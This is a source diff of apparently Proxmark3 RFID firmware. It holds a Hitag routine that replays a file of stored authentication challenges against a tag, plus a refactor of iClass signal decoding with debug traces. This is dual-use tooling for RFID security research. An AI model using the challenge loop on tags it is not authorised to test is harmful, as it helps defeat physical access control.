(TIMER_CLOCK1), TIOA is external trigger, +// external trigger rising edge, load RA on falling edge of TIOA. + AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK + + | AT91C_TC_ETRGEDG_FALLING | AT91C_TC_ABETRG | AT91C_TC_LDRA_FALLING; + +// Enable and reset counters + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + +// Reset the received frame, frame count and timing info + frame_count = 0; + response = 0; + lastbit = 1; + bStop = false; + + reset_sof = 1; + t_wait = 200; + + if (file_given) { + DbpString("Loading challenges..."); + memcpy((byte_t*)unlocker,data,60*8); + } + + while (file_given && !bStop && !BUTTON_PRESS()) { + // Watchdog hit + WDT_HIT(); + + // Check if frame was captured and store it + if (rxlen > 0) { + frame_count++; + if (!bQuiet) { + if (!LogTraceHitag(rx, rxlen, response, 0, false)) { + DbpString("Trace full"); + if (bQuitTraceFull) { + break; + } else { + bQuiet = true; + } + } + } + } + + tx = txbuf; + txlen = 0; + if (rxlen == 0) { + if (STATE == 2) + // challenge failed + Dbprintf("Challenge failed: %02X %02X %02X %02X %02X %02X %02X %02X", + unlocker[u1 - 1][0], unlocker[u1 - 1][1], + unlocker[u1 - 1][2], unlocker[u1 - 1][3], + unlocker[u1 - 1][4], unlocker[u1 - 1][5], + unlocker[u1 - 1][6], unlocker[u1 - 1][7]); + STATE = 0; + txlen = 5; + //start new authentication + memcpy(tx, "\xc0", nbytes(txlen)); + } else if (rxlen >= 67 && STATE == 0) { + //received uid + z = 0; + for (i = 0; i < 10; i++) { + for (j = 0; j < 8; j++) { + response_bit[z] = 0; + if ((rx[i] & ((mask << 7) >> j)) != 0) + response_bit[z] = 1; + z++; + } + } + k = 0; + for (i = 5; i < z; i += 2) { + uid[k] = response_bit[i]; + k++; + if (k > 31) + break; + } + uid_byte[0] = (uid[0] << 7) | (uid[1] << 6) | (uid[2] << 5) + | (uid[3] << 4) | (uid[4] << 3) | (uid[5] << 2) + | (uid[6] << 1) | uid[7]; + uid_byte[1] = (uid[8] << 7) | (uid[9] << 6) | (uid[10] << 5) + | (uid[11] << 4) | (uid[12] << 3) | (uid[13] << 2) + | (uid[14] << 1) | uid[15]; + uid_byte[2] = (uid[16] << 7) | (uid[17] << 6) | (uid[18] << 5) + | (uid[19] << 4) | (uid[20] << 3) | (uid[21] << 2) + | (uid[22] << 1) | uid[23]; + uid_byte[3] = (uid[24] << 7) | (uid[25] << 6) | (uid[26] << 5) + | (uid[27] << 4) | (uid[28] << 3) | (uid[29] << 2) + | (uid[30] << 1) | uid[31]; + //Dbhexdump(10, rx, rxlen); + STATE = 1; + txlen = 45; + crc = CRC_PRESET; + calc_crc(&crc, 0x00, 5); + calc_crc(&crc, uid_byte[0], 8); + calc_crc(&crc, uid_byte[1], 8); + calc_crc(&crc, uid_byte[2], 8); + calc_crc(&crc, uid_byte[3], 8); + for (i = 0; i < 100; i++) { + response_bit[i] = 0; + } + for (i = 0; i < 5; i++) { + response_bit[i] = 0; + } + for (i = 5; i < 37; i++) { + response_bit[i] = uid[i - 5]; + } + for (j = 0; j < 8; j++) { + response_bit[i] = 0; + if ((crc & ((mask << 7) >> j)) != 0) + response_bit[i] = 1; + i++; + } + k = 0; + for (i = 0; i < 6; i++) { + tx[i] = (response_bit[k] << 7) | (response_bit[k + 1] << 6) + | (response_bit[k + 2] << 5) + | (response_bit[k + 3] << 4) + | (response_bit[k + 4] << 3) + | (response_bit[k + 5] << 2) + | (response_bit[k + 6] << 1) | response_bit[k + 7]; + k += 8; + } + + } else if (STATE == 1 && rxlen == 44) { + //received configuration + STATE = 2; + z = 0; + for (i = 0; i < 6; i++) { + for (j = 0; j < 8; j++) { + response_bit[z] = 0; + if ((rx[i] & ((mask << 7) >> j)) != 0) + response_bit[z] = 1; + z++; + } + } + txlen = 64; + + if (u1 >= (sizeof(unlocker) / sizeof(unlocker[0]))) + bStop = !false; + for (i = 0; i < 8; i++) + tx[i] = unlocker[u1][i]; + u1++; + + } else if (STATE == 2 && rxlen >= 44) { + STATE = 0; + } + + // Send and store the reader command + // Disable timer 1 with external trigger to avoid triggers during our own modulation + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + + // Wait for HITAG_T_WAIT_2 carrier periods after the last tag bit before transmitting, + // Since the clock counts since the last falling edge, a 'one' means that the + // falling edge occured halfway the period. with respect to this falling edge, + // we need to wait (T_Wait2 + half_tag_period) when the last was a 'one'. + // All timer values are in terms of T0 units + + while (AT91C_BASE_TC0->TC_CV + < T0 * (t_wait + (HITAG_T_TAG_HALF_PERIOD * lastbit))) + ; + + // Transmit the reader frame + hitag_reader_send_frame(tx, txlen); + + // Enable and reset external trigger in timer for capturing future frames + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + + // Add transmitted frame to total count + if (txlen > 0) { + frame_count++; + if (!bQuiet) { + // Store the frame in the trace + if (!LogTraceHitag(tx, txlen, HITAG_T_WAIT_2, 0, true)) { + if (bQuitTraceFull) { + DbpString("Trace full"); + break; + } else { + bQuiet = true; + } + } + } + } + + // Reset values for receiving frames + memset(rx, 0x00, sizeof(rx)); + rxlen = 0; + lastbit = 1; + bSkip = true; + tag_sof = reset_sof; + response = 0; + + // Receive frame, watch for at most T0*EOF periods + while (AT91C_BASE_TC1->TC_CV < T0 * HITAG_T_WAIT_MAX) { + // Check if falling edge in tag modulation is detected + if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { + // Retrieve the new timing values + int ra = (AT91C_BASE_TC1->TC_RA / T0); + + // Reset timer every frame, we have to capture the last edge for timing + AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; + + LED_B_ON(); + + // Capture tag frame (manchester decoding using only falling edges) + if (ra >= HITAG_T_EOF) { + if (rxlen != 0) { + //DbpString("wierd1?"); + } + // Capture the T0 periods that have passed since last communication or field drop (reset) + // We always recieve a 'one' first, which has the falling edge after a half period |-_| + response = ra - HITAG_T_TAG_HALF_PERIOD; + } else if (ra >= HITAG_T_TAG_CAPTURE_FOUR_HALF) { + // Manchester coding example |-_|_-|-_| (101) + rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); + rxlen++; + rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); + rxlen++; + } else if (ra >= HITAG_T_TAG_CAPTURE_THREE_HALF) { + // Manchester coding example |_-|...|_-|-_| (0...01) + rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); + rxlen++; + // We have to skip this half period at start and add the 'one' the second time + if (!bSkip) { + rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); + rxlen++; + } + lastbit = !lastbit; + bSkip = !bSkip; + } else if (ra >= HITAG_T_TAG_CAPTURE_TWO_HALF) { + // Manchester coding example |_-|_-| (00) or |-_|-_| (11) + if (tag_sof) { + // Ignore bits that are transmitted during SOF + tag_sof--; + } else { + // bit is same as last bit + rx[rxlen / 8] |= lastbit << (7 - (rxlen % 8)); + rxlen++; + } + } else { + // Ignore wierd value, is to small to mean anything + } + } + + // We can break this loop if we received the last bit from a frame + if (AT91C_BASE_TC1->TC_CV > T0 * HITAG_T_EOF) { + if (rxlen > 0) + break; + } + } + } + LED_B_OFF(); + LED_D_OFF(); + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + cmd_send(CMD_ACK, bSuccessful, 0, 0, 0, 0); +} + + + diff --git a/armsrc/iclass.c b/armsrc/iclass.c index d5cd366da..bea998415 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -36,305 +36,65 @@ // //----------------------------------------------------------------------------- -#include "proxmark3.h" #include "apps.h" -#include "util.h" -#include "string.h" -#include "common.h" +#include "cmd.h" // Needed for CRC in emulation mode; // same construction as in ISO 14443; // different initial value (CRC_ICLASS) -#include "iso14443crc.h" +#include "crc16.h" +#include "protocols.h" +#include "optimized_cipher.h" +#include "usb_cdc.h" // for usb_poll_validate_length static int timeout = 4096; +static int SendIClassAnswer(uint8_t *resp, int respLen, uint16_t delay); +int doIClassSimulation(int simulationMode, uint8_t *reader_mac_buf); +#define MODE_SIM_CSN 0 +#define MODE_EXIT_AFTER_MAC 1 +#define MODE_FULLSIM 2 -static int SendIClassAnswer(uint8_t *resp, int respLen, int delay); +#ifndef ICLASS_DMA_BUFFER_SIZE +# define ICLASS_DMA_BUFFER_SIZE 256 +#endif + +// The length of a received command will in most cases be no more than 18 bytes. +// 32 should be enough! +#ifndef ICLASS_BUFFER_SIZE + #define ICLASS_BUFFER_SIZE 32 +#endif + +#define AddCrc(data, len) compute_crc(CRC_ICLASS, (data), (len), (data)+(len), (data)+(len)+1) //----------------------------------------------------------------------------- // The software UART that receives commands from the reader, and its state // variables. //----------------------------------------------------------------------------- -static struct { +/* +typedef struct { enum { STATE_UNSYNCD, STATE_START_OF_COMMUNICATION, - STATE_RECEIVING + STATE_RECEIVING } state; uint16_t shiftReg; int bitCnt; int byteCnt; - int byteCntMax; +// int byteCntMax; int posCnt; int nOutOfCnt; int OutOfCnt; int syncBit; - int parityBits; int samples; int highCnt; int swapper; int counter; int bitBuffer; int dropPosition; - uint8_t *output; -} Uart; - -static RAMFUNC int OutOfNDecoding(int bit) -{ - //int error = 0; - int bitright; - - if(!Uart.bitBuffer) { - Uart.bitBuffer = bit ^ 0xFF0; - return FALSE; - } - else { - Uart.bitBuffer <<= 4; - Uart.bitBuffer ^= bit; - } - - /*if(Uart.swapper) { - Uart.output[Uart.byteCnt] = Uart.bitBuffer & 0xFF; - Uart.byteCnt++; - Uart.swapper = 0; - if(Uart.byteCnt > 15) { return TRUE; } - } - else { - Uart.swapper = 1; - }*/ - - if(Uart.state != STATE_UNSYNCD) { - Uart.posCnt++; - - if((Uart.bitBuffer & Uart.syncBit) ^ Uart.syncBit) { - bit = 0x00; - } - else { - bit = 0x01; - } - if(((Uart.bitBuffer << 1) & Uart.syncBit) ^ Uart.syncBit) { - bitright = 0x00; - } - else { - bitright = 0x01; - } - if(bit != bitright) { bit = bitright; } - - - // So, now we only have to deal with *bit*, lets see... - if(Uart.posCnt == 1) { - // measurement first half bitperiod - if(!bit) { - // Drop in first half means that we are either seeing - // an SOF or an EOF. - - if(Uart.nOutOfCnt == 1) { - // End of Communication - Uart.state = STATE_UNSYNCD; - Uart.highCnt = 0; - if(Uart.byteCnt == 0) { - // Its not straightforward to show single EOFs - // So just leave it and do not return TRUE - Uart.output[Uart.byteCnt] = 0xf0; - Uart.byteCnt++; - - // Calculate the parity bit for the client... - Uart.parityBits = 1; - } - else { - return TRUE; - } - } - else if(Uart.state != STATE_START_OF_COMMUNICATION) { - // When not part of SOF or EOF, it is an error - Uart.state = STATE_UNSYNCD; - Uart.highCnt = 0; - //error = 4; - } - } - } - else { - // measurement second half bitperiod - // Count the bitslot we are in... (ISO 15693) - Uart.nOutOfCnt++; - - if(!bit) { - if(Uart.dropPosition) { - if(Uart.state == STATE_START_OF_COMMUNICATION) { - //error = 1; - } - else { - //error = 7; - } - // It is an error if we already have seen a drop in current frame - Uart.state = STATE_UNSYNCD; - Uart.highCnt = 0; - } - else { - Uart.dropPosition = Uart.nOutOfCnt; - } - } - - Uart.posCnt = 0; - - - if(Uart.nOutOfCnt == Uart.OutOfCnt && Uart.OutOfCnt == 4) { - Uart.nOutOfCnt = 0; - - if(Uart.state == STATE_START_OF_COMMUNICATION) { - if(Uart.dropPosition == 4) { - Uart.state = STATE_RECEIVING; - Uart.OutOfCnt = 256; - } - else if(Uart.dropPosition == 3) { - Uart.state = STATE_RECEIVING; - Uart.OutOfCnt = 4; - //Uart.output[Uart.byteCnt] = 0xdd; - //Uart.byteCnt++; - } - else { - Uart.state = STATE_UNSYNCD; - Uart.highCnt = 0; - } - Uart.dropPosition = 0; - } - else { - // RECEIVING DATA - // 1 out of 4 - if(!Uart.dropPosition) { - Uart.state = STATE_UNSYNCD; - Uart.highCnt = 0; - //error = 9; - } - else { - Uart.shiftReg >>= 2; - - // Swap bit order - Uart.dropPosition--; - //if(Uart.dropPosition == 1) { Uart.dropPosition = 2; } - //else if(Uart.dropPosition == 2) { Uart.dropPosition = 1; } - - Uart.shiftReg ^= ((Uart.dropPosition & 0x03) << 6); - Uart.bitCnt += 2; - Uart.dropPosition = 0; - - if(Uart.bitCnt == 8) { - Uart.output[Uart.byteCnt] = (Uart.shiftReg & 0xff); - Uart.byteCnt++; - - // Calculate the parity bit for the client... - Uart.parityBits <<= 1; - Uart.parityBits ^= OddByteParity[(Uart.shiftReg & 0xff)]; - - Uart.bitCnt = 0; - Uart.shiftReg = 0; - } - } - } - } - else if(Uart.nOutOfCnt == Uart.OutOfCnt) { - // RECEIVING DATA - // 1 out of 256 - if(!Uart.dropPosition) { - Uart.state = STATE_UNSYNCD; - Uart.highCnt = 0; - //error = 3; - } - else { - Uart.dropPosition--; - Uart.output[Uart.byteCnt] = (Uart.dropPosition & 0xff); - Uart.byteCnt++; - - // Calculate the parity bit for the client... - Uart.parityBits <<= 1; - Uart.parityBits ^= OddByteParity[(Uart.dropPosition & 0xff)]; - - Uart.bitCnt = 0; - Uart.shiftReg = 0; - Uart.nOutOfCnt = 0; - Uart.dropPosition = 0; - } - } - - /*if(error) { - Uart.output[Uart.byteCnt] = 0xAA; - Uart.byteCnt++; - Uart.output[Uart.byteCnt] = error & 0xFF; - Uart.byteCnt++; - Uart.output[Uart.byteCnt] = 0xAA; - Uart.byteCnt++; - Uart.output[Uart.byteCnt] = (Uart.bitBuffer >> 8) & 0xFF; - Uart.byteCnt++; - Uart.output[Uart.byteCnt] = Uart.bitBuffer & 0xFF; - Uart.byteCnt++; - Uart.output[Uart.byteCnt] = (Uart.syncBit >> 3) & 0xFF; - Uart.byteCnt++; - Uart.output[Uart.byteCnt] = 0xAA; - Uart.byteCnt++; - return TRUE; - }*/ - } - - } - else { - bit = Uart.bitBuffer & 0xf0; - bit >>= 4; - bit ^= 0x0F; // drops become 1s ;-) - if(bit) { - // should have been high or at least (4 * 128) / fc - // according to ISO this should be at least (9 * 128 + 20) / fc - if(Uart.highCnt == 8) { - // we went low, so this could be start of communication - // it turns out to be safer to choose a less significant - // syncbit... so we check whether the neighbour also represents the drop - Uart.posCnt = 1; // apparently we are busy with our first half bit period - Uart.syncBit = bit & 8; - Uart.samples = 3; - if(!Uart.syncBit) { Uart.syncBit = bit & 4; Uart.samples = 2; } - else if(bit & 4) { Uart.syncBit = bit & 4; Uart.samples = 2; bit <<= 2; } - if(!Uart.syncBit) { Uart.syncBit = bit & 2; Uart.samples = 1; } - else if(bit & 2) { Uart.syncBit = bit & 2; Uart.samples = 1; bit <<= 1; } - if(!Uart.syncBit) { Uart.syncBit = bit & 1; Uart.samples = 0; - if(Uart.syncBit && (Uart.bitBuffer & 8)) { - Uart.syncBit = 8; - - // the first half bit period is expected in next sample - Uart.posCnt = 0; - Uart.samples = 3; - } - } - else if(bit & 1) { Uart.syncBit = bit & 1; Uart.samples = 0; } - - Uart.syncBit <<= 4; - Uart.state = STATE_START_OF_COMMUNICATION; - Uart.bitCnt = 0; - Uart.byteCnt = 0; - Uart.parityBits = 0; - Uart.nOutOfCnt = 0; - Uart.OutOfCnt = 4; // Start at 1/4, could switch to 1/256 - Uart.dropPosition = 0; - Uart.shiftReg = 0; - //error = 0; - } - else { - Uart.highCnt = 0; - } - } - else { - if(Uart.highCnt < 8) { - Uart.highCnt++; - } - } - } - - return FALSE; -} - -//============================================================================= -// Manchester -//============================================================================= - -static struct { + uint8_t *output; +} tUart; +*/ +typedef struct { enum { DEMOD_UNSYNCD, DEMOD_START_OF_COMMUNICATION, @@ -351,11 +111,10 @@ static struct { int bitCount; int posCount; int syncBit; - int parityBits; uint16_t shiftReg; - int buffer; - int buffer2; - int buffer3; + uint32_t buffer; + uint32_t buffer2; + uint32_t buffer3; int buff; int samples; int len; @@ -366,10 +125,458 @@ static struct { SUB_BOTH } sub; uint8_t *output; -} Demod; +} tDemod; -static RAMFUNC int ManchesterDecoding(int v) -{ +/* +* Abrasive's uart implementation +* https://github.com/abrasive/proxmark3/commit/2b8bff7daea8ae1193bf7ee29b1fa46e95218902 +*/ +// Static vars for UART +typedef struct { + bool synced; + bool frame; + bool frame_done; + uint8_t *buf; + int len; +} tUart; +static tUart Uart; + +static void uart_reset(void){ + Uart.frame_done = false; + Uart.synced = false; + Uart.frame = false; +} +static void uart_init(uint8_t *data){ + Uart.buf = data; + uart_reset(); +} +static void uart_bit(uint8_t bit) { + static uint8_t buf = 0xff; + static uint8_t n_buf; + static uint8_t msg_byte; + static int nmsg_byte; + buf <<= 1; + buf |= bit ? 1 : 0; + + if (!Uart.frame) { + if (buf == 0x7b) { // 0b0111 1011 + Uart.frame = true; + n_buf = 0; + Uart.len = 0; + nmsg_byte = 0; + } + } else { + n_buf++; + if (n_buf == 8) { + msg_byte >>= 2; + switch (buf) { + case 0xbf: // 0 - 1011 1111 + break; + case 0xef: // 1 - 1110 1111 + msg_byte |= (1<<6); + break; + case 0xfb: // 2 - 1111 1011 + msg_byte |= (2<<6); + break; + case 0xfe: // 3 - 1111 1110 + msg_byte |= (3<<6); + break; + case 0xdf: // eof - 1101 1111 + Uart.frame = false; + Uart.synced = false; + Uart.frame_done = true; + break; + default: + Uart.frame = false; + Uart.synced = false; + Dbprintf("[-] bad %02X at %d:%d", buf, Uart.len, nmsg_byte); + } + + if (Uart.frame) { // data bits + nmsg_byte += 2; + if (nmsg_byte >= 8) { + Uart.buf[Uart.len++] = msg_byte; + nmsg_byte = 0; + } + } + n_buf = 0; + buf = 0xff; + } + } +} + +static void uart_samples(uint8_t byte) { + static uint32_t buf; + static int window; + static int drop_next = 0; + + uint32_t falling; + int lz; + + if (!Uart.synced) { + if (byte == 0xFF) + return; + buf = 0xFFFFFFFF; + window = 0; + drop_next = 0; + Uart.synced = true; + } + + buf <<= 8; + buf |= byte; + + if (drop_next) { + drop_next = 0; + return; + } + +again: + falling = ~buf & ((buf >> 1) ^ buf) & (0xFF << window); + + uart_bit(!falling); + + if (!falling) + return; + + lz = __builtin_clz(falling) - 24 + window; + + // aim to get falling edge on fourth-leftmost bit of window + window += 3 - lz; + + if (window < 0) { + window += 8; + drop_next = 1; + } else if (window >= 8) { + window -= 8; + goto again; + } +} + + +/* +static void UartReset(){ + Uart.state = STATE_UNSYNCD; + Uart.shiftReg = 0; + Uart.bitCnt = 0; + Uart.byteCnt = 0; + Uart.posCnt = 0; + Uart.nOutOfCnt = 0; + Uart.OutOfCnt = 0; + Uart.syncBit = 0; + Uart.samples = 0; + Uart.highCnt = 0; + Uart.swapper = 0; + Uart.counter = 0; + Uart.bitBuffer = 0; + Uart.dropPosition = 0; +} +*/ + +/* +* READER TO CARD +* 1 out of 4 Decoding +* 1 out of 256 Decoding +*/ +/* +static RAMFUNC int OutOfNDecoding(int bit) { + //int error = 0; + int bitright; + + if (!Uart.bitBuffer) { + Uart.bitBuffer = bit ^ 0xFF0; + return false; + } else { + Uart.bitBuffer <<= 4; + Uart.bitBuffer ^= bit; + } + + // if (Uart.swapper) { + // Uart.output[Uart.byteCnt] = Uart.bitBuffer & 0xFF; + // Uart.byteCnt++; + // Uart.swapper = 0; + // if (Uart.byteCnt > 15) return true; + //} + //else { + // Uart.swapper = 1; + //} + + if (Uart.state != STATE_UNSYNCD) { + Uart.posCnt++; + + if ((Uart.bitBuffer & Uart.syncBit) ^ Uart.syncBit) + bit = 0; + else + bit = 1; + + if (((Uart.bitBuffer << 1) & Uart.syncBit) ^ Uart.syncBit) + bitright = 0; + else + bitright = 1; + + if(bit != bitright) + bit = bitright; + + + // So, now we only have to deal with *bit*, lets see... + if (Uart.posCnt == 1) { + // measurement first half bitperiod + if (!bit) { + // Drop in first half means that we are either seeing + // an SOF or an EOF. + + if (Uart.nOutOfCnt == 1) { + // End of Communication + Uart.state = STATE_UNSYNCD; + Uart.highCnt = 0; + if (Uart.byteCnt == 0) { + // Its not straightforward to show single EOFs + // So just leave it and do not return TRUE + Uart.output[0] = 0xf0; + Uart.byteCnt++; + } else { + return true; + } + } else if (Uart.state != STATE_START_OF_COMMUNICATION) { + // When not part of SOF or EOF, it is an error + Uart.state = STATE_UNSYNCD; + Uart.highCnt = 0; + //error = 4; + } + } + } else { + // measurement second half bitperiod + // Count the bitslot we are in... (ISO 15693) + Uart.nOutOfCnt++; + + if (!bit) { + if (Uart.dropPosition) { + if (Uart.state == STATE_START_OF_COMMUNICATION) { + //error = 1; + } else { + //error = 7; + } + // It is an error if we already have seen a drop in current frame + Uart.state = STATE_UNSYNCD; + Uart.highCnt = 0; + } else { + Uart.dropPosition = Uart.nOutOfCnt; + } + } + Uart.posCnt = 0; + + if (Uart.nOutOfCnt == Uart.OutOfCnt && Uart.OutOfCnt == 4) { + Uart.nOutOfCnt = 0; + + if (Uart.state == STATE_START_OF_COMMUNICATION) { + if (Uart.dropPosition == 4) { + Uart.state = STATE_RECEIVING; + Uart.OutOfCnt = 256; + } else if (Uart.dropPosition == 3) { + Uart.state = STATE_RECEIVING; + Uart.OutOfCnt = 4; + //Uart.output[Uart.byteCnt] = 0xdd; + //Uart.byteCnt++; + } else { + Uart.state = STATE_UNSYNCD; + Uart.highCnt = 0; + } + Uart.dropPosition = 0; + } else { + // RECEIVING DATA + // 1 out of 4 + if (!Uart.dropPosition) { + Uart.state = STATE_UNSYNCD; + Uart.highCnt = 0; + //error = 9; + } else { + Uart.shiftReg >>= 2; + + // Swap bit order + Uart.dropPosition--; + //if(Uart.dropPosition == 1) { Uart.dropPosition = 2; } + //else if(Uart.dropPosition == 2) { Uart.dropPosition = 1; } + + Uart.shiftReg ^= ((Uart.dropPosition & 0x03) << 6); + Uart.bitCnt += 2; + Uart.dropPosition = 0; + + if (Uart.bitCnt == 8) { + Uart.output[Uart.byteCnt] = (Uart.shiftReg & 0xff); + Uart.byteCnt++; + Uart.bitCnt = 0; + Uart.shiftReg = 0; + } + } + } + } else if (Uart.nOutOfCnt == Uart.OutOfCnt) { + // RECEIVING DATA + // 1 out of 256 + if (!Uart.dropPosition) { + Uart.state = STATE_UNSYNCD; + Uart.highCnt = 0; + //error = 3; + } else { + Uart.dropPosition--; + Uart.output[Uart.byteCnt] = (Uart.dropPosition & 0xff); + Uart.byteCnt++; + Uart.bitCnt = 0; + Uart.shiftReg = 0; + Uart.nOutOfCnt = 0; + Uart.dropPosition = 0; + } + } +*/ + /*if (error) { + Uart.output[Uart.byteCnt] = 0xAA; + Uart.byteCnt++; + Uart.output[Uart.byteCnt] = error & 0xFF; + Uart.byteCnt++; + Uart.output[Uart.byteCnt] = 0xAA; + Uart.byteCnt++; + Uart.output[Uart.byteCnt] = (Uart.bitBuffer >> 8) & 0xFF; + Uart.byteCnt++; + Uart.output[Uart.byteCnt] = Uart.bitBuffer & 0xFF; + Uart.byteCnt++; + Uart.output[Uart.byteCnt] = (Uart.syncBit >> 3) & 0xFF; + Uart.byteCnt++; + Uart.output[Uart.byteCnt] = 0xAA; + Uart.byteCnt++; + return true; + }*/ +/* + } + } else { + bit = Uart.bitBuffer & 0xf0; + bit >>= 4; + bit ^= 0x0F; // drops become 1s ;-) + if (bit) { + // should have been high or at least (4 * 128) / fc + // according to ISO this should be at least (9 * 128 + 20) / fc + if (Uart.highCnt == 8) { + // we went low, so this could be start of communication + // it turns out to be safer to choose a less significant + // syncbit... so we check whether the neighbour also represents the drop + Uart.posCnt = 1; // apparently we are busy with our first half bit period + Uart.syncBit = bit & 8; + Uart.samples = 3; + + if (!Uart.syncBit) { Uart.syncBit = bit & 4; Uart.samples = 2; } + else if (bit & 4) { Uart.syncBit = bit & 4; Uart.samples = 2; bit <<= 2; } + + if (!Uart.syncBit) { Uart.syncBit = bit & 2; Uart.samples = 1; } + else if (bit & 2) { Uart.syncBit = bit & 2; Uart.samples = 1; bit <<= 1; } + + if (!Uart.syncBit) { Uart.syncBit = bit & 1; Uart.samples = 0; + if (Uart.syncBit && (Uart.bitBuffer & 8)) { + Uart.syncBit = 8; + + // the first half bit period is expected in next sample + Uart.posCnt = 0; + Uart.samples = 3; + } + } else if (bit & 1) { Uart.syncBit = bit & 1; Uart.samples = 0; } + + Uart.syncBit <<= 4; + Uart.state = STATE_START_OF_COMMUNICATION; + Uart.bitCnt = 0; + Uart.byteCnt = 0; + Uart.nOutOfCnt = 0; + Uart.OutOfCnt = 4; // Start at 1/4, could switch to 1/256 + Uart.dropPosition = 0; + Uart.shiftReg = 0; + //error = 0; + } else { + Uart.highCnt = 0; + } + } else { + if (Uart.highCnt < 8) + Uart.highCnt++; + } + } + return false; +} +*/ +//============================================================================= +// Manchester +//============================================================================= +static tDemod Demod; +static void DemodReset() { + Demod.bitCount = 0; + Demod.posCount = 0; + Demod.syncBit = 0; + Demod.shiftReg = 0; + Demod.buffer = 0; + Demod.buffer2 = 0; + Demod.buffer3 = 0; + Demod.buff = 0; + Demod.samples = 0; + Demod.len = 0; + Demod.sub = SUB_NONE; + Demod.state = DEMOD_UNSYNCD; +} +static void DemodInit(uint8_t *data) { + Demod.output = data; + DemodReset(); +} + +// UART debug +// it adds the debug values which will be put in the tracelog, +// visible on client when running 'hf list iclass' +/* +pm3 --> hf li iclass +Recorded Activity (TraceLen = 162 bytes) + Start | End | Src | Data (! denotes parity error) | CRC | Annotation | +------------|------------|-----|-----------------------------------------------------------------|-----|--------------------| + 0 | 0 | Rdr |0a | | ACTALL + 1280 | 1280 | Tag |bb! 33! bb! 01 02 04 08 bb! | ok | + 1280 | 1280 | Rdr |0c | | IDENTIFY + 1616 | 1616 | Tag |bb! 33! bb! 00! 02 00! 02 bb! | ok | + 1616 | 1616 | Rdr |0a | | ACTALL + 2336 | 2336 | Tag |bb! d4! bb! 02 08 00! 08 bb! | ok | + 2336 | 2336 | Rdr |0c | | IDENTIFY + 2448 | 2448 | Tag |bb! 33! bb! 00! 00! 00! 02 bb! | ok | + 2448 | 2448 | Rdr |0a | | ACTALL + 2720 | 2720 | Tag |bb! d4! bb! 08 0b 01 04 bb! | ok | + 2720 | 2720 | Rdr |0c | | IDENTIFY + 3232 | 3232 | Tag |bb! d4! bb! 02 02 08 04 bb! | ok | +*/ +static void uart_debug(int error, int bit) { + Demod.output[Demod.len] = 0xBB; + Demod.len++; + Demod.output[Demod.len] = error & 0xFF; + Demod.len++; + Demod.output[Demod.len] = 0xBB; + Demod.len++; + Demod.output[Demod.len] = bit & 0xFF; + Demod.len++; + Demod.output[Demod.len] = Demod.buffer & 0xFF; + Demod.len++; + // Look harder ;-) + Demod.output[Demod.len] = Demod.buffer2 & 0xFF; + Demod.len++; + Demod.output[Demod.len] = Demod.syncBit & 0xFF; + Demod.len++; + Demod.output[Demod.len] = 0xBB; + Demod.len++; +} + +/* +* CARD TO READER +* in ISO15693-2 mode - Manchester +* in ISO 14443b - BPSK coding +* +* Timings: +* ISO 15693-2 +* Tout = 330 µs, Tprog 1 = 4 to 15 ms, Tslot = 330 µs + (number of slots x 160 µs) +* ISO 14443a +* Tout = 100 µs, Tprog = 4 to 15 ms, Tslot = 100 µs+ (number of slots x 80 µs) +* ISO 14443b + Tout = 76 µs, Tprog = 4 to 15 ms, Tslot = 119 µs+ (number of slots x 150 µs) +* +* +* So for current implementation in ISO15693, its 330 µs from end of reader, to start of card. +*/ +static RAMFUNC int ManchesterDecoding_iclass( uint32_t v) { int bit; int modulation; int error = 0; @@ -379,584 +586,527 @@ static RAMFUNC int ManchesterDecoding(int v) Demod.buffer2 = Demod.buffer3; Demod.buffer3 = v; - if(Demod.buff < 3) { + // too few bits? + if (Demod.buff < 3) { Demod.buff++; - return FALSE; + return false; } - if(Demod.state==DEMOD_UNSYNCD) { + if (Demod.state == DEMOD_UNSYNCD) { Demod.output[Demod.len] = 0xfa; Demod.syncBit = 0; //Demod.samples = 0; Demod.posCount = 1; // This is the first half bit period, so after syncing handle the second part - if(bit & 0x08) { + if (bit & 0x08) Demod.syncBit = 0x08; - } - if(bit & 0x04) { - if(Demod.syncBit) { + if (bit & 0x04) { + if (Demod.syncBit) bit <<= 4; - } + Demod.syncBit = 0x04; } - if(bit & 0x02) { - if(Demod.syncBit) { + if (bit & 0x02) { + if (Demod.syncBit) bit <<= 2; - } + Demod.syncBit = 0x02; } - if(bit & 0x01 && Demod.syncBit) { + if (bit & 0x01 && Demod.syncBit) Demod.syncBit = 0x01; - } - - if(Demod.syncBit) { + + if (Demod.syncBit) { Demod.len = 0; Demod.state = DEMOD_START_OF_COMMUNICATION; Demod.sub = SUB_FIRST_HALF; Demod.bitCount = 0; Demod.shiftReg = 0; - Demod.parityBits = 0; Demod.samples = 0; - if(Demod.posCount) { - //if(trigger) LED_A_OFF(); // Not useful in this case... - switch(Demod.syncBit) { + + if (Demod.posCount) { + + switch (Demod.syncBit) { case 0x08: Demod.samples = 3; break; case 0x04: Demod.samples = 2; break; case 0x02: Demod.samples = 1; break; case 0x01: Demod.samples = 0; break; } // SOF must be long burst... otherwise stay unsynced!!! - if(!(Demod.buffer & Demod.syncBit) || !(Demod.buffer2 & Demod.syncBit)) { + if (!(Demod.buffer & Demod.syncBit) || !(Demod.buffer2 & Demod.syncBit)) Demod.state = DEMOD_UNSYNCD; - } - } - else { + + } else { // SOF must be long burst... otherwise stay unsynced!!! - if(!(Demod.buffer2 & Demod.syncBit) || !(Demod.buffer3 & Demod.syncBit)) { + if (!(Demod.buffer2 & Demod.syncBit) || !(Demod.buffer3 & Demod.syncBit)) { Demod.state = DEMOD_UNSYNCD; error = 0x88; - } - + 